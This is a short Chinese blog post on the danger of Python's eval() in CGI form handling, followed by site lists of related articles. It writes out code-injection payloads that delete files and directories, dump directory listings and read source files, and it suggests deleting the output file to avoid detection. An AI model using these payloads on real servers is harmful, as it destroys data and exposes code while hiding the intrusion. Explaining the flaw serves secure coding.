Python之eval()函数危险性浅析


Posted in Python onJuly 03, 2014

一般来说Python的eval()函数可以把字符串“123”变成数字类型的123,但是PP3E上说它很危险,还可以执行其他命令!

对此进行一些试验。果然,如果python写的cgi程序中如果使用eval()而非int()来转换诸如年龄这样的输入框中的内容时是非常危险的。不仅可以看见列出系统的全部文件,还可以执行删除文件,察看文件源代码等危险操作!

试着写了个程序,想把本地的脚本文件同过这样的形式一行一行的写到服务器的某个文件里,可最后失败在无法输入换行符"/n",在提交的语句里只要有换行符,就会出现EOL的出错提示,换了编码方式还是没能成功。
 
网页里有一个提交名字的窗口,这里只是以改它为例,否则名字是不会用eval函数转换的,不过年龄到是很容易出问题。这个文件(http://localhost/tutor4.html)导入了os。

line1 = "Hello, %s." % eval(form['user'].value)

(1)

os.system('del * /q') #删除当前目录下所有文件(不包括文件夹)。

os.system调用当前系统的命令(如windows)

/q
指定强制状态。不提示您确认删除。

(2)若删除文件夹,使用rmdir

/s
删除指定目录和所有子目录以及包含的所有文件。使用 /s 来删除目录树。

/q
在安静模式中运行 rmdir。不经确认即删除目录。

os.system('rmdir d:/workspace /s/q')

(3)列出所有文件os.system('dir')。因为成功执行了dir命令后,系统返回0,所以看到的返回内容只能是Hello,0.而在服务器上,倒是真的列出来了,如果有日志,可能被发现。提交os.system('dir >dir.txt'),那么访问http://localhost/dir.txt那么所有的文件和文件夹都暴露了,想看源代码吗?如果再使用os.system('type target.py').命令如果成功完成同样会返回Hello, 0.的。难道再放进一个文件,再访问那个文件吗?open('target.py').read()

由此,可以在列出和察看其他文件夹里面的内容了。

如果没干别的坏事,那么可删除dir.txt以免被人发现了。os.system('del dir.txt /q')

导入os并执行命令:

__import__('os').system('dir >dir.txt')
Python 相关文章推荐
python执行外部程序的常用方法小结
Mar 21 Python
Django框架下在视图中使用模版的方法
Jul 16 Python
python编程嵌套函数实例代码
Feb 11 Python
Python3.5 创建文件的简单实例
Apr 26 Python
pyqt5中QThread在使用时出现重复emit的实例
Jun 21 Python
Python IDE Pycharm中的快捷键列表用法
Aug 08 Python
Python常用模块sys,os,time,random功能与用法实例分析
Jan 07 Python
Python稀疏矩阵及参数保存代码实现
Apr 18 Python
Python闭包及装饰器运行原理解析
Jun 17 Python
python如何操作mysql
Aug 17 Python
python实现单机五子棋
Aug 28 Python
PyTorch device与cuda.device用法
Apr 03 Python
python的绘图工具matplotlib使用实例
Jul 03 #Python
python绘图库Matplotlib的安装
Jul 03 #Python
Python实现全局变量的两个解决方法
Jul 03 #Python
Python实现端口复用实例代码
Jul 03 #Python
在 Django/Flask 开发服务器上使用 HTTPS
Jul 03 #Python
采用python实现简单QQ单用户机器人的方法
Jul 03 #Python
centos系统升级python 2.7.3
Jul 03 #Python
You might like
PHP自动补全表单的两种方法
2017/03/06 PHP
Yii 2.0如何使用页面缓存方法示例
2017/05/23 PHP
PHP实现类似题库抽题效果
2018/08/16 PHP
使用composer安装使用thinkphp6.0框架问题【视频教程】
2019/10/01 PHP
编辑浪子版表单验证类
2007/05/12 Javascript
直接生成打开窗口代码,不必下载
2008/05/14 Javascript
JavaScript使用IEEE 标准进行二进制浮点运算产生莫名错误的解决方法
2011/05/28 Javascript
ASP.NET jQuery 实例6 (实现CheckBoxList成员全选或全取消)
2012/01/13 Javascript
使用jquery获取网页中图片高度的两种方法
2013/09/26 Javascript
jquery中ajax函数执行顺序问题之如何设置同步
2014/02/28 Javascript
jquery 判断滚动条到达了底部和顶端的方法
2014/04/02 Javascript
js图片实时加载提供网页打开速度
2014/09/11 Javascript
深入理解jQuery中的事件冒泡
2016/05/24 Javascript
node-http-proxy修改响应结果实例代码
2016/06/06 Javascript
jQuery中deferred对象使用方法详解
2016/07/14 Javascript
深入浅析Vue不同场景下组件间的数据交流
2017/08/15 Javascript
解决layui富文本编辑器图片上传无法回显的问题
2019/09/18 Javascript
python使用chardet判断字符串编码的方法
2015/03/13 Python
Python 文件管理实例详解
2015/11/10 Python
Python单例模式实例详解
2017/03/01 Python
Python+Selenium自动化实现分页(pagination)处理
2017/03/31 Python
Python实现获取照片拍摄日期并重命名的方法
2017/09/30 Python
python3.6 实现AES加密的示例(pyCryptodome)
2018/01/10 Python
NumPy 如何生成多维数组的方法
2018/02/05 Python
Pandas 数据处理,数据清洗详解
2018/07/10 Python
Selenium控制浏览器常见操作示例
2018/08/13 Python
Python可迭代对象操作示例
2019/05/07 Python
react+django清除浏览器缓存的几种方法小结
2019/07/17 Python
Django如何实现上传图片功能
2019/08/16 Python
pandas实现excel中的数据透视表和Vlookup函数功能代码
2020/02/14 Python
地图可视化神器kepler.gl python接口的使用方法
2020/12/22 Python
澳大利亚优质葡萄酒专家:Vintage Cellars
2019/01/08 全球购物
如果让你测试一台高速激光打印机,你都会进行哪些测试
2012/12/04 面试题
主管职责范文
2013/11/09 职场文书
售前工程师职业生涯规划
2014/03/02 职场文书
班级旅游计划书
2014/05/03 职场文书